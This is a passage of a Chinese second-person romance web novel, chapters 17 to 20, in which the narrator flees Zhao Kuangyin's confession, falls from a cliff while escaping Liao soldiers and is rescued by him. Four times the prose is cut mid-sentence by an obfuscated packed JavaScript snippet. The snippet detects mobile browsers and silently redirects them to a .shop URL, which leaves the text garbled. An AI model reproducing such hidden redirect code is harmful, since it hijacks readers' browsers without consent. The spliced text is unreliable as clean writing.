你恍如惊醒,小声道,没有不愿意来找你,只是刚刚才到。 其实有点说谎了。你确实刚刚才到,但你根本没打算去寻他。你给自己找的理由是,这样容易被人看出自己的真实身份。 但现在显然不能这么说。你认为自己是应当说这个小谎的。 赵匡胤顿了一下,看脸色是没信你的话,但他也没纠缠。 你现下真不知该如何对他。 赵匡胤用自言自语的语气说,这些日子你一点也没想到过我。 他脸上闪过一丝心平气和的痛楚。 你的心飘了起来,简直离尘世有三千丈,你故意让它离你这么远的,这样你就什么也感觉不到了。 你用轻快促狭的语气说,怎么会呢,我时时刻刻念着赵大哥呢。 你尽全力想让这场对话像是一对比较亲密的义兄妹能说得出来的正常对话。 赵匡胤看了你一眼。 他道,那你应当同我说一声的。 你问道:“说一声什么?” 赵匡胤说:“说一声你没有事,一直都好好的。” 他甚至不愿意用“你没死”这样的词,可能是嫌说出来对你不好,像谶语,很晦气。 啊。他好像说的是你假死的事情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523097|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>你后知后觉地意识到。 什么……他事前不知道吗? 对哦。 好像没人告诉他。他没有渠道得知。 那他就是事后才知道的。 他想必有一段时间真的以为你受着伤被人杀掉了。 你从来没有想过这一点。 那他知道你“死讯”的时候会难过吗? 从旁人那里得知你是假死之后,他会生气、会伤心吗? 你和他的关系,什么时候到了他要从旁人那里打听你的地步了呢? 然后你简直慌乱起来,脑海里本就理不清楚的思绪更加缠成一团。 你说,我以为他们会告诉你的。而且、而且我想你肯定看得明白的。所有的事情你都知道。你肯定能推测出来的 。 赵匡胤道,嗯。 他看着倒不像是很生气的样子。 他一向是个包容宽和的人,你知道他的。可他反应这么平静,你觉得心里有个讨厌的影子在晃,晃得你想把整个人都蜷缩起来。 然后你听见他说—— 他说,是我关心则乱了。我一心都在你身上,整个人只想着你。不过没关系的,都过去了。你下次做了什么决定要记得和我说一声。 他话的内容和语气很不适配,就这样在一个很平常的午后,在一个很平常的场景,平常地说出一些剖心坼肝的话。 仿佛在说你要好好睡觉好好吃饭。 他压根不提当初听到你的死讯后到底经历了什么、不提他如何将一切归咎于自己、不提他怎样多方小心验证得出你的确实下落才终于敢放过自己。 他一点迫你愧疚自责的意思都没有。 赵匡胤不想用这些逼迫你。 你是一个好姑娘,他知道你不是故意的。你知道了这些,就容易愧疚和自责,你会怪自己的。 他不想你这样。他舍不得你难过。 你已经受了很多苦了。 他直接地把自己的心意摊到你的面前。 而那背后隐藏的——他的痛苦、他的无望、他的挣扎、他的恐惧,他全然不提。 阳光轻盈。 他静静地看着你,因为饱受折磨和煎熬,眼睛发亮,却并不锐利逼人,只显得清澈。 你简直不敢和他对视。 他不说话、没反应,你不开心;他这样剖出自己的一颗心给你,你好像还是不开心。你不明白自己。 你只看明白了一件事——你方才做的全是无用功。 他不要再回到过去的相处模式,不愿假装什么都没发生过。他已经摆明了态度,你和他只有往后走,走到哪里去全凭你的心意。 赵匡胤比你高出许多,他是个久经沙场的武人,肩宽背阔,英武矫健,站在你面前,几乎将你全部拢在他的影子里。 若这样的对手是你的仇家,与他打照面的第一个瞬间,恐怕你便立刻灵台清明、心神集中,但凡敢有丝毫破绽,就要亡于他手。 可是现在你知道你不需要和他打。 你可以随时取走他的性命,他不会防备你的。 你只需要一句话——不,只需要一个眼神,就可以让他欣喜异常或黯然神伤。 你多说一句模棱两可的话,他今晚就要减少许多睡眠,彻夜地揣度你的心思。 你对他提什么样的要求,他都不会拒绝。他会拼尽全力去做,只为了讨你的欢心。 他亲手奉给你这样的权力,让你可以随意摆弄他的人生,还唯恐你不愿意。 有一瞬间你简直为自己拥有这样可怕的力量而惊慌失措,就像任何一个人发现自己可以轻易驯服威风凛凛的猛虎那样无所适从。 17.山涧 你落荒而逃。 还好这地方四通八达,只要走出帐外,立刻就能看见护卫士卒,赵大哥不会追上来。 虽然你感觉他也不可能会这么做——他一向是个爱宠溺你的兄长,你做什么事情他都习惯性地纵容你。 用韩姐姐的话来说,“惯的没边了”。 你也不是故意要这样的。只是你实在心乱如麻。你实在不知道该怎么办。 你真想不到还有什么应对策略。 可能是因为开国君主人均魅力点满吧。 再让他说两句你就答应他了。 不能再听他说了! 答应什么啊!!!这什么时代啊!!答应完就是和他成亲给他生孩子啊!!! 吓死人了。 你一点也没准备好。 你现在已经不知道自己是害怕他,还是害怕自己答应他了。 你感觉自己真想答应他。 你极速跑路中。 第二天你就自请去军医营。 军医营手上正有桩十分棘手的事情。 快入夏了,用来退虚热、除骨蒸的草蒿用量很大,恰好大军驻地五十里外的郊野中,生长了一大片草蒿。 可是那里同样生长了大量土附子——土附子是辽境最平常的一味剧毒药草,辽军一般就是采集这种药草涂抹在弓箭上,制成毒箭。 更不巧的是,土附子的幼苗,在外形上和草蒿很像,寻常人分辨不出来,只能医士亲自去采。 五十里也不算太远,可是医士难得,军中怕他们孤悬在外,敌方派几个勇猛好手,突袭斩首之后就迅速折返。 于是这几日他们若要出行,都是派精兵同往。 折腾得很是人仰马翻、冗杂繁苛。 你自告奋勇。 能单杀你的人还没有生出来呢。 更何况,离开众人,在广阔的天地间缓步走走,你感觉自己总算不那么烦闷了。 往返五十里,体力消耗得干净,晚上沾枕头能睡着,你也不用辗转反侧了。 有时候你会碰见赵匡胤送伤员来军医营。一照面你低头避开,他也不来追,两个人远远隔着许多人和事。 你们认识以来,倒是从来没有过这么远的距离。 过去,你与他一向是众人里最亲近的。 从刚开始的时候,你就一眼看向了他。什么时候都最依赖他,遇见了事立刻眼巴巴地来找他。 你们最要好了。 从前有一次,还在邺都的时候,你去找他玩,他不在,你就自己去找他的马。 他的马也和你很熟,很温顺的被你牵出去,你摸摸它的脖子,它就蹭你,你骑上去它不仅不排斥,还颠你几步,故意和你玩。 等赵匡胤回来,看见自己的马不见了,就知道是你来了。 一回头,便看见你一身白衣,风吹得猎猎,骑着马迎着风,向他热烈地笑。 赵大哥——是我—— 他看见你就笑,看见你就挪不开眼,他一直爱这样看着你。 你甚至都有些疑惑为什么从前没有发现他的心意了。 下了马,你就三两步冲到他身边,和他并肩走去。你总是有很多话要和他说,你分辨得出来谁爱你听你说话。 你讲自己身边的事情给他听,你几乎什么都说,你总有些不太能想明白的事情,你全部告诉他,赵大哥会告诉你某件事背后可能是怎么样,某件事怎么做可能会更好。 他其实年岁也轻——至少不是一个普遍被人认为足以倚重的年龄,但你总是先入为主认为他什么都会、总是把他当依靠,于是他就真的成为了一个无所不能的、你的依靠。 晚上好好睡觉、多吃点肉、前些天烫到的地方还痛吗、你还是别进厨房了、当然是我来给你做呀。 和赵大哥在一起的记忆总是很轻盈,你们在一起走的时候,你会故意走到那些很窄的路脊上去,摇摇晃晃的很好玩。或者在树荫下去踩叶子,把落叶踩得沙沙作响。 那个时候,好像你们的世界没有其他人。明明邺都是个很大的城市,汴梁也是一个很大的城市,应当有许多人的。可是你记忆里从来没有别人。天地之间就只有你们两个。 现在你们中间凭空出现了许多人,你们中间隔着的人越来越多。你现在竟然什么话都不和他说了。 你碰到他就像碰见陌生人一样。可能比碰见陌生人还要差些,你会堂堂正正地去看陌生人。 反正你认真地在军医营干活。 有事情做的时候,人就不会一直乱想。 你努力干活。 然后就出事了。 其实那天本来是没事的。如果按原计划回军中的话。 只是你碰巧发现了一株野山参。 人参的复叶和青蒿相似,同样由多片小叶组成,乍看是普通草木。 但是野山参被称为“百草之王”,能拿来吊命,上好的野山参可以换得巨额金银财宝,一般出现在皇室的贡品里。 用得好,能救许多条性命呢。 你想道。 名贵物件,采摘时自然得小心些。 于是就耽误了些回去的时间。 然后你们遇到了辽军。 天知道你们为什么会在几乎算是绝对安全的军队侧后方,遇见一股纵马而来的契丹溃兵。 辽国的地形还是太复杂了。 也可能是你杀的那个辽国皇帝正报应你呢。 你护着同伴退开,自己殿后。 本以为是一场有惊无险的撤退,结果最后关头,你的马被流矢射中了。 箭簇入肉的声音沉闷而短促。 战马发出一声惨烈长嘶,前蹄跪倒,轰然砸在草地上。 你在地上滚了半圈,单手撑地,借力起身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531214|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前是七八个契丹溃兵,甲胄不全,有的脸上还挂着溃逃时留下的血口子。 他们本来是在逃命,撞见你这个落单的人,就像撞见了离群的羊,眼睛都红了。 没有马,就意味着你跑不过骑兵。殿后变成了死战。 他们自然打不过你,只是血溅了你一身。 余光中,你看见你的同伴想回来救你,但是溃兵的行动路线毫无逻辑,你们被冲散了。 为了躲避疾驰而来的马蹄,你只好独自一人进了深林。 解释一下为什么会有深林——因为这三种草药就爱长在山地林缘。 在举目全是树的林子里摸索了一天一夜,你好不容易找着路了,又迎面撞上一伙逃亡到辽境来的匪徒。 是的,就是你之前揍过一顿的匪徒。 不是,你们后汉的监狱系统得废物成什么样子啊,这群人给他们逃了啊! 要不是当时现场有小孩,你早就当场弄死他们了。 当时应该背着小孩给他们弄死的! 那现在咋办。 杀掉呗。 留着他们积蓄力量回去报复姐姐和她们的孩子们吗。 连续的高强度作战,你的体力很是支撑不住。 本身你的缺陷也就在此处。 好不容易收工了,你已经力竭了。 然后又撞上了另一股辽军。 ……喂。 辽国死去的皇帝在地下疯狂发力中是吧。 你真是没招了。 你感觉自己的衣服都在往下滴血。 虽然都是别人的血吧。 人数差距实在是太大,对面似乎想活捉你,他们把你逼到了高崖上。 其实留给你的选项已经不多了。 活着落到他们的手上你才是真的要完蛋了。 于是你从断崖上跳了下去。 坠落的过程中,你几次试图用山崖边长出的孤树借力,结果除了把自己的手臂给弄脱臼之外,并没有什么用。 唉。 这鬼地方已经是绝地了。 附近似乎从古至今就没有人居住过,峰峦嶷恶,树石怪丑,你为自己的埋骨之地长这样感觉到愤愤不平。 你觉得至少得好看一点吧。这也太难看了。 然后你就落入了一片水泽之中。 左右皆山,底下竟然有一个岩水沼。 初夏的天气,水面表层被太阳晒得发烫,但稍微深一点的水依旧寒凉彻骨。 你落入水中,觉得四面八方的沉静阴森都朝你涌过来,把你完全淹没。 你呛了好几口水,强行爬到岸边。 好吧,虽然这水也不好看,但这鬼地方算是对得起你了。 还有,这事你得想个办法瞒着赵大哥。 在确定自己不会淹死,终于敢脱力昏过去之前,你想道。 18.何以沥肝胆 虽然你完全没答应他,但是赵匡胤觉得自己其实还好。 他得知你在军中,立刻便去找你,前后是几乎没经过思考的。 这对他很不常见。 想见到你,简直变成了条件反射的本能。他也没办法。 赵匡胤并不是一个书读得多的人,开蒙时,他与同龄人一样,按照《文》、《孝经》、《蒙求》这样的顺序学来,《诗》不过学了几句,便离家出去闯荡了。 偏这几句《诗》里,恰好有那句“子惠思我,褰裳涉溱。子不我思,岂无他人?”。 这诗实在浅白,不需夫子教授也能看懂,是以女子的口吻说“你若是心中有我,就跋山涉水来找我,你要是不来,难道还缺别人吗?”。 年少时读这几句,很是不理解,想不到那女子如此傲慢,为何诗中的男子要这样千山万水不舍昼夜,难道没有自尊吗? 到如今他才明白,原来不是这样理解的。 真的心中思慕一个人,是控制不住自己去靠近她、去见她的,哪怕是风雨如晦,哪怕是山高路远。 若没有这样的急迫、没有这样的心甘情愿,是算不上思慕那名女子的。 甚至对诗中女子的理解也变了。 若是他的意中人愿意给他写这一句——这哪里是傲慢,分明是含羞带怯的一双眼睛,娇俏的不得了。 真能得到这一句,他是要欣喜若狂的。 不到其境,原来是读不懂古人的诗的。 千百年来,年轻男女原来在同一种心情里自困自扰。 反正,反应过来的时候,他就已经行完所有难行的路,真切站到你面前了。 你瘦了。 受这么痛的伤,人是难免要瘦一些的。 他一边心疼一边谋划怎么能再养回来一些。 军中不比平日,什么物资都有限,但是只要尽心尽力,总会有办法的。 总会有办法的。 这是赵匡胤一贯的想法。 甚至到这个时候,他也是没有丝毫表白自己心意的打算的。 ……就是他的身体有自己的想法。 只是同你说了几句话,他怎么这样迫不及待地捧出一颗鲜红搏动的心脏给你。 吓到你怎么办。 你确实被吓到了。 你呆呆地看着他。 你在害怕,他也在害怕,脑海里什么都想不了,满心满眼都只剩下你的模样,等着你宣判他的死刑,等着你叱骂他不怀好意。 可是你没有。 你慌慌张张地跑了。 赵匡胤一向是擅长与人交流沟通的——这个大天赋又能拆解成若干小天赋,包括察言观色识人本心、言谈有度拿捏分寸、软硬并施恩威相济、拢聚人心善结人脉、隐忍藏锋懂得迂回、顺势游说嫌隙化解。 他如此擅长识别他人的情绪,以至于很难将你的反应归类为厌恶他。 就像一个医术精湛的大夫,再心神不宁、再神思不属,也很难将患者的伤寒误诊。 这是太基础的技能了。 他站在原地,外面的太阳这么大,他心里头有个声音,清清楚楚地说:她心里必定也有点喜欢你的。 声音不大,但足够让他满心都生出喜悦。 赵匡胤觉得自己简直有些无赖。 可这无赖里,又生出一种从没有过的耐心。 正午的太阳炽烈,晒得整个世界都泛着白。他走到太阳底下,身影被日光压得很短、很浓重。 方才那颗跳动犹如擂鼓的心,这时慢慢缓了下来,带着微痒的缱绻。 要怎么办呢—— 怎么让你多喜欢他一些呢。 他这么想道,觉得这个句子单单在心里念一念就让人心慌意乱。 太阳怎么这么大,把脚下的路晒得发软,踩上去像踏着一团温吞吞的棉花。 接下来你躲他躲得更厉害了。 赵匡胤一点也不敢轻举妄动。 他原先觉得自己的心思同千百年来所有的男女别无二致,到了这时,又觉得自己和你的事情与所有人都不一样,是最独特、最特殊的一个故事。 你比所有人都要更好,和你相关的事情自然和所有人都不一样。赵匡胤觉得很合理。 左右日子还长。他这么想道。 可不过几日功夫,局势便骤变了。 一股辽国溃军流窜到大军后方五十里外,恰好军医营的医士就在他们无序奔逃的路径上。 好消息:军医营在你的掩护下安全回来了。 坏消息:你没回来。 郭威不认为你可以折在这种情况下,他当然不会放弃你。 不需要太多思考,最适合寻找你的人选自然是赵匡胤。 没有人会比他更尽心尽力了。 赵匡胤很快就找到了你的大概方向。 当日军医营的众人都留意了最后看见你的方位,十几人的目击证词互相印证,都指向了西侧的深林。 可是你又为什么没有回来呢? 就算伤了马,几股溃军也绝无可能是你的对手。 赵匡胤带着几骑精兵连夜探入林中,很快便找到了那伙匪徒的丧命之地。 你的风格向来是一刀了结。 追着血迹找出去,几人齐齐倒吸一口凉气。 他们看到了隐藏在林内的大股辽军。 枯树的阴影里,营帐顺着土丘连绵排布,岗哨暗桩藏在密林死角,人数远超前几日探知的数目,根本不是小规模的袭扰队伍。 这些契丹人秣马厉兵,显然就等着找准时机,一举发难,率先撕开了僵持对峙的局面,绕开正面防线,突袭大军的侧翼。 这是要紧的情报,传回军中之后,军中的气氛立时凝重起来。 郭威着手排布防务,调遣前锋营火速往侧翼布防,封堵辽军的突袭缺口。帐内武将来去匆匆,传令兵策马奔出大营,整支军队瞬间紧绷了起来。 但这也意味着—— 你是一头撞进了辽军主力的埋伏圈里。 现下你失踪的那片郊野已被辽军占据。 深入敌后寻人,无异于孤身闯虎穴,九死一生。 周遭的将领商议着正面对敌之策,无人再顾得上失踪的你。 战事当前,大军的安危才是头等大事。 但赵匡胤的任务没有变过。 经过连续几日小心地搜索,最后他终于来到了那方高崖绝壁上。 他站在崖边往下看,底下深得很,什么都看不见。 他用火折子照亮崖壁,远远看见几处折断的横枝和石棱上擦出的新鲜痕迹。 就在这里。赵匡胤心想。 他正要寻路下去,一名下属忽然压低声音唤他。 赵匡胤回头。 山脊另一侧,辽军的营帐正在移动。 大批人马在换防,火把的光连成一条断断续续的线,在山脊上缓慢蠕动。 下属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531387|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用询问的目光看他。 他们都是军中的老手,明白现在若不走,等辽军发现他们,就谁也走不了了。 赵匡胤当然读得懂。 但他只是把火折子晃灭,收进怀里,说,你们回去吧。 他要去找你。 赵匡胤沿着崖壁侧面一道狭长的岩隙往下摸。 这条路近于垂直,稍有不慎便是粉身碎骨。 便是多高的赏格、多璀璨的前途摆在面前,常人面对这样穷凶极恶的高崖绝地,也要犹豫再三,才敢临崖一顾。 可他竟然没有丝毫犹豫,就这样不顾一切地往下攀爬。 甚至一路上也没觉得害怕,满脑子都想着你若是伤势过重,他要怎么处理会更好。 他不敢想那个死字。虽然从这么高的断崖坠下,明明就此死去的可能性更大。 崖底是一处极窄的涧谷,两侧绝壁如削,中间是一潭半死不活的岩沼。 看见水面的一瞬间,赵匡胤简直要喜极而泣。 有水就好。有水就好。 你有活下来的可能了。 可惜喜尽忧来,他又往下行了不过十余丈,一块风化的岩石被他踩脱了,骨碌碌滚下崖去,半晌才听见一声遥远的闷响。 他整个人悬空了一瞬,全靠右手攀住一条岩缝才没跟着滚下去。 只是一块突出的锐利石头从脸侧擦过去,在脖颈侧边划出一道口子。 鲜血汩汩的往外涌。 他没在意。稳住身形之后继续往下,又过去不知多久,终于看见地面。 落地的时候匆忙了些,右脚踩在一块松动的石棱上,脚踝一崴,一阵钝痛窜上来。 赵匡胤皱了皱眉,活动了一下脚腕——还好,只是扭了。 这点伤实在不算什么。他甚至觉得有些庆幸。 这样高的崖,这样险的路,只是一处扭伤和几道擦伤,简直是占了大便宜。 他一面想着,一面抬头去看崖壁。 月光照在石壁上,树影幢幢,他看见自己方才行过的那条路线,这才后知后觉地生出一点寒意。 万一他脚下一滑……那你怎么办?还有谁来管你? 你又没有旁的血亲挚友。 他不再想了。转过身,往涧谷深处走去。脚踝隐隐作痛,每走一步都有轻微的刺痛,但他速度不慢。 岩沼的水面在幽暗的谷底泛着黯淡的微光,他沿着水边仔细去寻,目光一寸一寸地扫过乱石滩。 终于,赵匡胤看见你了。 你蜷缩在岸边一块大石上,浑身湿透,一动不动。 老天保佑。 他长出一口气。这口气什么时候提起来的他都不知道。 更令人庆幸的是,你身上没有太多伤,他初步判断是脱力晕过去的。 他把外袍脱下来裹在你身上,然后才发现自己的衣领上全是血。 ……刚才流了那么多血吗? 他没注意。 你大概是感觉到了温度,动了动,眉头皱起来,呢喃了一句什么。 赵匡胤低下头去听,没听清,但是把那当做你终于肯再和他说话的意思。 他低声道,没事就好。你吓死大哥了。 他刚刚在绝壁上生死一线,脑海里全想着只要你没事,你从此再也不喜欢他也可以。 现在算是暂时安全了,心里立刻反悔了,想着你还是得要喜欢他的,不用像他喜欢你那样喜欢他,有一半就好了。 19.气味 你睁开了双眼。 你看见了一片暗灰色的岩壁。 清晨稀薄的天光恰好打在岩壁上,浅淡得很。 天色还早,外面只偶尔传来一声遥远的鸟啼,仿佛几千里地都荒无人烟。 空气冷而清冽,是初夏一整个白日中难得让人感到十分舒适的时刻。 或许是因为你和岩壁靠得有点近,你还闻到了岩石被露水浸透之后散发出的生涩矿物气息。 ……这是在哪? 久睡之后,你感觉自己的头十分昏沉,太阳穴的位置胀胀的。 但是很快你就发现自己身下的触感不太对——太软了。 你用左手手肘支撑自己的身体,但是手肘受力的部分并没有传来预想之中和岩石对抗的钝痛。 你看见自己身下垫了件不属于自己的宽大外袍。 你撑在地上的左手发力压了压那袍子,掌心蹭过袍子的表面,有一种干燥的、粗粝的触感,像被太阳晒了很久的土墙。 袍子下面是一堆干草,铺得很厚。 你坐起身来。 动作间,脱臼的右手手臂传来一阵闷痛。 你低头看自己的右臂。 袖子上半截被撕开了,露出里面缠得整整齐齐的布条,绑得很紧,手法利落。布条透出淡淡的药草味,感觉上不痛,只有微微的凉意,是草药带来的。 那你的衣服…… 你低头看了看自己身上。 外衫还是你坠崖时穿的那件,破了好几处,血迹斑斑,但穿得还算齐整。只是腰间束带被人重新系过了,系得紧而妥帖。 是干燥的。 你一时不能分辨衣服到底有没有被脱下来烘干过,干脆将这个问题抛之脑后,开始环顾四周。 你看见了赵匡胤。 其实看见他之前你就已经有所预料,所以并不觉得太惊讶。 除了他,还有谁会为你舍生忘死。 赵匡胤靠在你对面的岩壁上,离你大约三尺远。 他睡着了。 你看清了所在之地的全貌。 结合昏迷过去之前的记忆来看,你和他应该在一处山涧的隐蔽岩洞之中。 他在外侧,靠近日光的那一侧;而你被安置在更安全的岩洞深处。 赵匡胤身上只穿着一件单衣。 你看见他下巴上冒出了青色的胡茬,不深,应该就是一两天没刮。脖颈侧面有一道长长的伤口,像被什么人用一支很粗的笔随意画了一道,从耳根延伸到锁骨,结了深红色的血痂,边缘微微泛红。 东方既白的稀薄晨光从他背后而来,将他的轮廓边缘勾勒得十分温和。 赵匡胤呼吸沉稳而均匀。他睡得很沉。 或许是因为久睡初醒,你的头脑不甚清晰,外界的所有一切——规则、经验、顾虑——都还没有降临到这一小方天地里。 你心里想,从来没见过赵大哥睡着的样子呢。 你很有些新奇,往前蹭了蹭,想看得更清楚一点。 刚醒的人类就是这样的,人类建立的规则都还没有被脑子想起来,倒是更靠近小动物那边一点。 更何况赵大哥在你身边呢。 他是安全的,不会伤害你的,必然保护着你的。 待在他身边,你顺理成章可以幼稚一些,这是你未能察觉到便已经在使用了的自己的权利。 ……赵大哥是不是刚刚洗浴过。 这是你迷蒙脑海里浮出的第一个念头。 你闻到了水汽蒸腾后,洁净的身体自然散发出的气息。 冰冷清洁的气息之后,你发现自己闻到了松木香,清冽、干燥、沉稳,松木香下面是一丝几乎不被察觉的血腥气,还有一点草药的苦味。 这些味道混在一起,被他的体温捂热了,密密实实地向你裹来。 好好闻。 ……你记得以前听王审琦打趣过他,说他小时候身上很香,大家都说他像小女孩一样。 原来说的是这个香味。 这个想法在脑海里一闪而过,没留太久。 因为赵匡胤醒了。 他一向是个警觉的人。 沉睡的人的呼吸和醒着的人的呼吸是不同的,虽然你的动作轻到约等于无,但是你的呼吸频率变更了。 他因为这个醒来的。 他悄无声息地睁开眼,第一件事就是去望你的方向,于是正好撞进你的眼睛里。 赵大哥醒着的时候要比睡着的时候好看得多,他是那种充满生命力的人,眼睛总是亮的,嘴唇总是鲜红的。 你看见他明亮的眼眸聚焦在你的身上,然后那眼神显著的沉了下去。 ……太明显了。 他的眼神本来是一片轻盈自在的云,碰到你的时候,就变成了暗沉沉的云雾。 似乎怕他的心意惹你烦恼,那云雾也小心翼翼,明明想要下一场毛毛雨,粘乎乎的,兜头盖脸地笼罩过来,把你整个人都裹进去沾湿,现下却只是克制地停在了你身前,生怕你不高兴。 他心里喜欢你。 不需要任何提示,你能直接从这双眼睛里面得到这样的答案。 然后那雨雾也散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535742|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,他的眉毛微微皱起来,是怜惜又心疼的神情。 “醒了多久了?怎么不喊我?”赵大哥问,“身上有不舒服吗?饿不饿?” 他心里爱慕着你。 你摇了摇头,自己也不知道在否定什么,心里恍恍惚惚的。 “这里痛吗?”你指着自己的脖颈问他。 赵匡胤表情一下子严肃起来,声音更紧了些:“内伤吗?怎么会伤到这——” 他说到一半,忽然醒悟过来,你是在问他痛不痛,他还以为你在说你自己。 你抢着认错:“是我说的太含糊了。” 然后你的目光又再次往下滑。 靠近了,你才看清他脖颈上那伤口十分狰狞,要害处皮肉外翻,血色腥浓。 比他脖颈上之前那道旧疤要严重多了。恐怕差点就要斜斩下他的头颅。 你不依不饶地问:“……怎么弄的?” 赵匡胤只好挑了些省略不了的部分给你讲,可就算刻意忽略带过,这些部分也惊险万分,你听着听着甚至茫然起来,不知道该有什么反应。 他说了会儿,眼看着你没了表情,一张脸煞白,似乎是被吓到了,连忙不说了,虽然本来也没说几句。 可你见他闭口不言,反而追问起来。 赵匡胤老老实实地说,真的不痛。划开口子的时候,感觉到一点凉意,血漫出来了感觉到血的热,之后就没有别的了。 赵匡胤说,这个不重要,已经上过药了,都要好了,别管这个了。你自己呢?你身上还难受吗?怎么一点也不为自己着想? 他脸上竟然带着些责备的神情,意思是你无论何时何地都应该优先关心你自己。 然后那神情又落回到了怜惜。你做什么他都觉得你好可怜。 孤零零的一个人,在乱世里,也没有亲人,总是对别人好,为别人着想。 甚至连带着他自己的心意他也惭愧起来。 想着你把他当大哥信任,他这个大哥只想着和你成亲做夫妻。 好可怜。 就算如此,现在你也只能选择依赖他信任他了。 真的好可怜。 ……也真的好可爱。 眼神专注地看着他,眉间蹙着,因为久睡,脸上的软肉还印着些他的衣褶,脸看起来软乎乎的,整个人像糕点一样。 赵匡胤觉得自己真该死啊。 一会儿怜惜你,一会儿又觉得你在外面太令人不放心了,不如直接把你咽下去吧。 人是没法吃掉另一个人的,他自己心里清楚自己实际是什么意思。 20.共有少微星 你现在无暇去探究他的目光。 你的头低下去了。 “赵大哥。”你不敢看他,言语里把他往外推,“……你以后不要对我这么好了吧。” 赵匡胤愣了一下,随即道,这是大将军给的任务,就算不是你,我也会这样做的。 你别想把他往外推。 他好不容易靠你那么近的。 你嘴上说真的吗好吧,心里没太相信他的话。 只是你觉得现在不应该和他斗嘴。不然也太没有良心了。 赵大哥应当看出来你没信,但他同你心照不宣。 你们都有些慌乱,因为已经走到了从来没来过的地方。 接下来要怎么走呢?不知道。 但是少说少错少做少错,目前这个状态先维持住吧。 你和赵大哥随身带了伤药和干粮,此地靠近水源,又人迹罕至,一时半会儿倒可放心无虞。 出了山洞,你看见涧谷里全是乱石。 谷底是另一个世界。两侧绝壁高得几乎要合拢,只给天空留了一道窄窄的缝,日光从那条缝里倾泻下来,被岩壁切割成一道亮白的刃。 太阳升到中天,才有恰到好处的阳光落在溪水上,碎成无数流动的光斑。 赵匡胤走在前面,步子很慢。 遇到高一点的石坎他便停下来,侧过身,把手臂递到你够得着的位置。有时你不扶。他只把手收回去,也不说什么,继续往前走。 他的目光总在你身上停下。目光倒是很轻,像是光落在水面上,一点重量也没有,可你总怀疑他的目光把你照得透彻。 你们的倒影在水上偶尔交叠,又随着脚步错开。 又走了一段,路更难走了,遍地是横生的灌木和荆棘。 这地方可能从来没进过人。 因为要自己开路,你们前行的进度很缓慢。 寻了一整天,到傍晚,你们才发现一道窄窄的石峡。 两边的岩壁忽然收紧,只容一人侧身通过,石峡那头的风灌进来,是不同于谷底潮湿的干燥气味。 赵匡胤侧身挤进去探了探,退出来时肩头沾了一层灰白的岩屑。 “过得去。”他说,“那边地势更开阔,应该有出谷的路。” 但是今天已经太晚了,你们决定明天再继续走。 赵大哥生起火来,烤了几块干粮,又用叶子卷成锥形去溪边盛了些水回来。 火光在你们之间跳动着,把两个人的影子投在岩壁上,一高一低。 偶尔你们的影子会因为火苗的摇摆而碰到一起,头挨着头,肩膀靠着肩膀。 但实际上你们中间隔了大约两尺的距离,规规矩矩的,谁也没有越过去。 这是应当的社交距离。 你们絮絮说着些闲话,有一搭没一搭的,因为实在也没有别的事情可以做。 之前你就知道郭威先生的妻子全是寡妇,这会儿才知道具体是怎么回事。 郭威先生的第一任妻子姓柴,曾经是后唐庄宗李存勖的宫人。 后来庄宗被杀,后宫遣散,柴娘子出宫返乡,偶遇了郭威先生。 你说,我知道我知道,郭威先生生得好看,柴娘子一见钟情,毅然而然嫁给了他,倾尽私财帮助他。 赵大哥说,咳咳,当时大将军十分落魄,但路过闹饥荒的村子,还是把自己仅有的干粮分给要饿死的百姓,柴娘子才决定下嫁的。 你问,郭威先生当时是做什么的啊?怎么会这么落魄呀? 赵大哥又咳了一声。 哦,原来郭威先生这时候失业了。 失业的原因:刚刚在兴教门和禁军的兄弟们砍死了前老板李存勖。 对的,就是柴娘子的前夫哥。 你:“……” 总之他娶了柴娘子。 据说他十分感念柴娘子的知遇之恩,两人成婚十年,柴娘子病逝,没有留下子嗣,他便收养了柴娘子的侄子,作为自己的养子,当成未来的继承人培养。 也就是说…… 郭荣小将军实际上原本叫柴荣? 柴荣。这个名字又很耳熟。你觉得自己好像在哪本教材上见过。 